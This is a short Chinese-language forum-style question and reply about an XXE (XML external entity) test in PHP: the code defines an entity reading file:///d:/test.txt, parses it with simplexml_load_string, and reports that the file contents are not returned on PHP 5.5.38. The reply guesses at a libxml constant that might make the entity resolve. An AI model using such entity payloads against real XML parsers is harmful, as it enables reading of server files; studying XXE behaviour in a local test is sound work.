php代码:
<?php
$xml=<<<EOF
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE address[
<!ENTITY xxe SYSTEM "file:///d:/test.txt">
]>
<root><xxe>&xxe;</xxe></root>
EOF;
$data = simplexml_load_string($xml);
var_dump($data);
echo phpversion();
?>
输出内容:
object(SimpleXMLElement)#1 (1) {
["xxe"]=>
object(SimpleXMLElement)#2 (1) {
["xxe"]=>
object(SimpleXMLElement)#3 (1) {
["xxe"]=>
object(SimpleXMLElement)#4 (0) {
}
}
}
}
5.5.38
d:/test.txt中的内容没有获得。
在5.2.17和5.4.45版本中没有出现这种问题。
这个问题未遇到过,但是简单查看文档发现可能需要传入以下常量:
LIBXML_DTDATTR
参考链接:simplexml_load_string
参考链接:XML相关的预定义常量